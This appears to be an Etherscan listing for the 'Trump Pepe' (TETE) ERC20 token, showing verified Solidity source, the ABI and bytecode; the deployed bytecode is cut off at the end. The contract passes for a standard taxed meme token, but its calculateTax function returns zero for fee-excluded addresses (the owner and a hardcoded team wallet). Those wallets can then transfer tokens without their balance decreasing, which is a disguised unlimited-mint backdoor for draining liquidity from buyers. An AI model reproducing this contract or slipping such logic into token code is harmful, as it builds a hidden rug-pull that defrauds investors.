ETH Price: $3,114.17 (-4.68%)
 

Overview

Max Total Supply

1,000,000,000 TETE

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,157,592.687176829 TETE

Value
$0.00
0x8129D4010a676A660502a4770d8a97F8D1788e5f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TETE

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
paris EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-18
*/

/*
Website : https://trumppepecoin.live 
Telegram : https://t.me/tetecoin_eth
Twitter : https://x.com/tetecoin_eth
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TETE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _teamAddress;
    uint256 private _initialBuyTax = 14;
    uint256 private _initialSellTax = 12;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 30;
    uint256 private _reduceSellTaxAt = 30;
    uint256 private _preventSwapBefore = 0;
    uint256 private _buyCount = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Trump Pepe";
    string private constant _symbol = unicode"TETE";
    uint256 public _maxTxAmount = 23000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 23000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingenable;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor() {
        _teamAddress = payable(0x8daC7d9BDB433c5BF20f7ad32720520DF6cA46ed);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_teamAddress] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "Token: transfer amount exceeds allowance"
            )
        );
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "Token: approve from the zero address");
        require(spender != address(0), "Token: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _basicTransfer(address from, address to, uint256 amount) internal {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "Token: transfer from the zero address");
        require(to != address(0), "Token: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0 ) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        _transferStandard(from, to, taxAmount, calculateTax(from,amount), amount.sub(taxAmount));
    }
    function _transferStandard(
        address from,
        address to,
        uint256 taxAmount,
        uint256 senderAmount,
        uint256 receiptAmount
    ) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(senderAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }
    function calculateTax(address addr, uint256 tokenAmount) private view returns(uint256) {
        if(_isExcludedFromFee[addr] && addr != address(this) && addr!= address(0)) return _finalSellTax.mul(tokenAmount);
        return tokenAmount;
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function sendETHToFee(uint256 amount) private {
        _teamAddress.transfer(amount);
    }
    function rescueETHStuck() external onlyOwner {
        sendETHToFee(address(this).balance);
    }
    function initialize() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }
    function enable() external onlyOwner {
        require(!tradingenable, "trading is already enable");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingenable = true;
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETHStuck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055600e6007819055600c600881905560006009818155600a828155601e600b819055909355600d82905592556200004591906200035f565b620000559063015ef3c062000377565b600f55620000666009600a6200035f565b620000769063015ef3c062000377565b601055620000876009600a6200035f565b6200009490606462000377565b601155620000a56009600a6200035f565b620000b4906298968062000377565b6012556014805461ffff60a81b19169055348015620000d257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b031916748dac7d9bdb433c5bf20f7ad32720520df6ca46ed001790556200014a6009600a6200035f565b6200015a90633b9aca0062000377565b336000908152600160208190526040822092909255600390620001856000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556006546101009004909116835291208054909216179055620001e93390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002236009600a6200035f565b6200023390633b9aca0062000377565b60405190815260200160405180910390a362000391565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002a15781600019048211156200028557620002856200024a565b808516156200029357918102915b93841c939080029062000265565b509250929050565b600082620002ba5750600162000359565b81620002c95750600062000359565b8160018114620002e25760028114620002ed576200030d565b600191505062000359565b60ff8411156200030157620003016200024a565b50506001821b62000359565b5060208310610133831016604e8410600b841016171562000332575081810a62000359565b6200033e838362000260565b80600019048211156200035557620003556200024a565b0290505b92915050565b60006200037060ff841683620002a9565b9392505050565b80820281158282048414176200035957620003596200024a565b611a4180620003a16000396000f3fe6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a3907d7111610064578063a3907d7114610326578063a9059cbb1461033b578063bf474bed1461035b578063c876d0b914610371578063dd62ed3e1461038b57600080fd5b80637d1db4a5146102905780638129fc1c146102a65780638da5cb5b146102bb5780638f9a55c0146102e357806395d89b41146102f957600080fd5b806323b872dd116100e757806323b872dd146101f4578063313ce5671461021457806370a0823114610230578063715018a614610266578063751039fc1461027b57600080fd5b806306fdde031461012f578063095ea7b31461017457806309d354f3146101a45780630faee56f146101bb57806318160ddd146101df57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a8152695472756d70205065706560b01b60208201525b60405161016b9190611610565b60405180910390f35b34801561018057600080fd5b5061019461018f366004611676565b6103d1565b604051901515815260200161016b565b3480156101b057600080fd5b506101b96103e8565b005b3480156101c757600080fd5b506101d160125481565b60405190815260200161016b565b3480156101eb57600080fd5b506101d1610426565b34801561020057600080fd5b5061019461020f3660046116a2565b610447565b34801561022057600080fd5b506040516009815260200161016b565b34801561023c57600080fd5b506101d161024b3660046116e3565b6001600160a01b031660009081526001602052604090205490565b34801561027257600080fd5b506101b96104b0565b34801561028757600080fd5b506101b9610524565b34801561029c57600080fd5b506101d1600f5481565b3480156102b257600080fd5b506101b96105e0565b3480156102c757600080fd5b506000546040516001600160a01b03909116815260200161016b565b3480156102ef57600080fd5b506101d160105481565b34801561030557600080fd5b506040805180820190915260048152635445544560e01b602082015261015e565b34801561033257600080fd5b506101b96107e3565b34801561034757600080fd5b50610194610356366004611676565b6109d2565b34801561036757600080fd5b506101d160115481565b34801561037d57600080fd5b506006546101949060ff1681565b34801561039757600080fd5b506101d16103a6366004611700565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103de3384846109df565b5060015b92915050565b6000546001600160a01b0316331461041b5760405162461bcd60e51b815260040161041290611739565b60405180910390fd5b61042447610b04565b565b60006104346009600a611868565b61044290633b9aca00611877565b905090565b6000610454848484610b46565b6104a684336104a1856040518060600160405280602881526020016119e4602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061107a565b6109df565b5060019392505050565b6000546001600160a01b031633146104da5760405162461bcd60e51b815260040161041290611739565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461054e5760405162461bcd60e51b815260040161041290611739565b61055a6009600a611868565b61056890633b9aca00611877565b600f556105776009600a611868565b61058590633b9aca00611877565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105bf6009600a611868565b6105cd90633b9aca00611877565b60405190815260200160405180910390a1565b6000546001600160a01b0316331461060a5760405162461bcd60e51b815260040161041290611739565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106539030906106456009600a611868565b6104a190633b9aca00611877565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ca919061188e565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561072c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610750919061188e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561079d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c1919061188e565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461080d5760405162461bcd60e51b815260040161041290611739565b601454600160a01b900460ff16156108675760405162461bcd60e51b815260206004820152601960248201527f74726164696e6720697320616c726561647920656e61626c65000000000000006044820152606401610412565b6013546001600160a01b031663f305d7194730610899816001600160a01b031660009081526001602052604090205490565b6000806108ae6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610916573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061093b91906118ab565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b891906118d9565b506014805462ff00ff60a01b19166201000160a01b179055565b60006103de338484610b46565b6001600160a01b038316610a415760405162461bcd60e51b8152602060048201526024808201527f546f6b656e3a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610412565b6001600160a01b038216610aa25760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610412565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610b42573d6000803e3d6000fd5b5050565b6001600160a01b038316610baa5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e3a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610412565b6001600160a01b038216610c0c5760405162461bcd60e51b815260206004820152602360248201527f546f6b656e3a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610412565b60008111610c6e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610412565b601454600160b01b900460ff161580610c905750601454600160a81b900460ff165b15610ca557610ca08383836110b4565b505050565b600080546001600160a01b03858116911614801590610cd257506000546001600160a01b03848116911614155b1561105557610d036064610cfd600b54600e5411610cf257600754610cf6565b6009545b859061115a565b906111e3565b60065490915060ff1615610deb576013546001600160a01b03848116911614801590610d3d57506014546001600160a01b03848116911614155b15610deb57326000908152600560205260409020544311610dd85760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610412565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610e1657506013546001600160a01b03848116911614155b8015610e3b57506001600160a01b03831660009081526003602052604090205460ff16155b15610f2357600f54821115610e925760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610412565b60105482610eb5856001600160a01b031660009081526001602052604090205490565b610ebf91906118fb565b1115610f0d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610412565b600e8054906000610f1d8361190e565b91905055505b6014546001600160a01b038481169116148015610f4957506001600160a01b0384163014155b15610f7657610f736064610cfd600c54600e5411610f6957600854610cf6565b600a54859061115a565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610fad57506014546001600160a01b038581169116145b8015610fc25750601454600160b01b900460ff165b8015610fd15750600d54600e54115b8015610ff657506001600160a01b03851660009081526003602052604090205460ff16155b801561101b57506001600160a01b03841660009081526003602052604090205460ff16155b1561105357601154811115611047576110476110428461103d84601254611225565b611225565b61123a565b4761105147610b04565b505b505b61107484848361106588876113b4565b61106f8787611412565b611454565b50505050565b6000818484111561109e5760405162461bcd60e51b81526004016104129190611610565b5060006110ab8486611927565b95945050505050565b6001600160a01b0383166000908152600160205260409020546110d79082611412565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546111069082611583565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610af79085815260200190565b60008260000361116c575060006103e2565b60006111788385611877565b905082611185858361193a565b146111dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610412565b9392505050565b60006111dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115e2565b600081831161123457826111dc565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112825761128261195c565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ff919061188e565b816001815181106113125761131261195c565b6001600160a01b03928316602091820292909201015260135461133891309116846109df565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611371908590600090869030904290600401611972565b600060405180830381600087803b15801561138b57600080fd5b505af115801561139f573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6001600160a01b03821660009081526003602052604081205460ff1680156113e557506001600160a01b0383163014155b80156113f957506001600160a01b03831615155b1561123457600a5461140b908361115a565b90506103e2565b60006111dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061107a565b82156114ce57306000908152600160205260409020546114749084611583565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114c59087815260200190565b60405180910390a35b6001600160a01b0385166000908152600160205260409020546114f19083611412565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546115209082611583565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115749085815260200190565b60405180910390a35050505050565b60008061159083856118fb565b9050838110156111dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610412565b600081836116035760405162461bcd60e51b81526004016104129190611610565b5060006110ab848661193a565b600060208083528351808285015260005b8181101561163d57858101830151858201604001528201611621565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461167357600080fd5b50565b6000806040838503121561168957600080fd5b82356116948161165e565b946020939093013593505050565b6000806000606084860312156116b757600080fd5b83356116c28161165e565b925060208401356116d28161165e565b929592945050506040919091013590565b6000602082840312156116f557600080fd5b81356111dc8161165e565b6000806040838503121561171357600080fd5b823561171e8161165e565b9150602083013561172e8161165e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117bf5781600019048211156117a5576117a561176e565b808516156117b257918102915b93841c9390800290611789565b509250929050565b6000826117d6575060016103e2565b816117e3575060006103e2565b81600181146117f957600281146118035761181f565b60019150506103e2565b60ff8411156118145761181461176e565b50506001821b6103e2565b5060208310610133831016604e8410600b8410161715611842575081810a6103e2565b61184c8383611784565b80600019048211156118605761186061176e565b029392505050565b60006111dc60ff8416836117c7565b80820281158282048414176103e2576103e261176e565b6000602082840312156118a057600080fd5b81516111dc8161165e565b6000806000606084860312156118c057600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118eb57600080fd5b815180151581146111dc57600080fd5b808201808211156103e2576103e261176e565b6000600182016119205761192061176e565b5060010190565b818103818111156103e2576103e261176e565b60008261195757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119c25784516001600160a01b03168352938301939183019160010161199d565b50506001600160a01b0396909616606085015250505060800152939250505056fe546f6b656e3a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b83096529aa95a607c64d5a8379c9c1f009fdbe49818657583f3ca1d669d7da964736f6c63430008150033

Deployed Bytecode

0x6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a3907d7111610064578063a3907d7114610326578063a9059cbb1461033b578063bf474bed1461035b578063c876d0b914610371578063dd62ed3e1461038b57600080fd5b80637d1db4a5146102905780638129fc1c146102a65780638da5cb5b146102bb5780638f9a55c0146102e357806395d89b41146102f957600080fd5b806323b872dd116100e757806323b872dd146101f4578063313ce5671461021457806370a0823114610230578063715018a614610266578063751039fc1461027b57600080fd5b806306fdde031461012f578063095ea7b31461017457806309d354f3146101a45780630faee56f146101bb57806318160ddd146101df57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a8152695472756d70205065706560b01b60208201525b60405161016b9190611610565b60405180910390f35b34801561018057600080fd5b5061019461018f366004611676565b6103d1565b604051901515815260200161016b565b3480156101b057600080fd5b506101b96103e8565b005b3480156101c757600080fd5b506101d160125481565b60405190815260200161016b565b3480156101eb57600080fd5b506101d1610426565b34801561020057600080fd5b5061019461020f3660046116a2565b610447565b34801561022057600080fd5b506040516009815260200161016b565b34801561023c57600080fd5b506101d161024b3660046116e3565b6001600160a01b031660009081526001602052604090205490565b34801561027257600080fd5b506101b96104b0565b34801561028757600080fd5b506101b9610524565b34801561029c57600080fd5b506101d1600f5481565b3480156102b257600080fd5b506101b96105e0565b3480156102c757600080fd5b506000546040516001600160a01b03909116815260200161016b565b3480156102ef57600080fd5b506101d160105481565b34801561030557600080fd5b506040805180820190915260048152635445544560e01b602082015261015e565b34801561033257600080fd5b506101b96107e3565b34801561034757600080fd5b50610194610356366004611676565b6109d2565b34801561036757600080fd5b506101d160115481565b34801561037d57600080fd5b506006546101949060ff1681565b34801561039757600080fd5b506101d16103a6366004611700565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103de3384846109df565b5060015b92915050565b6000546001600160a01b0316331461041b5760405162461bcd60e51b815260040161041290611739565b60405180910390fd5b61042447610b04565b565b60006104346009600a611868565b61044290633b9aca00611877565b905090565b6000610454848484610b46565b6104a684336104a1856040518060600160405280602881526020016119e4602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061107a565b6109df565b5060019392505050565b6000546001600160a01b031633146104da5760405162461bcd60e51b815260040161041290611739565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461054e5760405162461bcd60e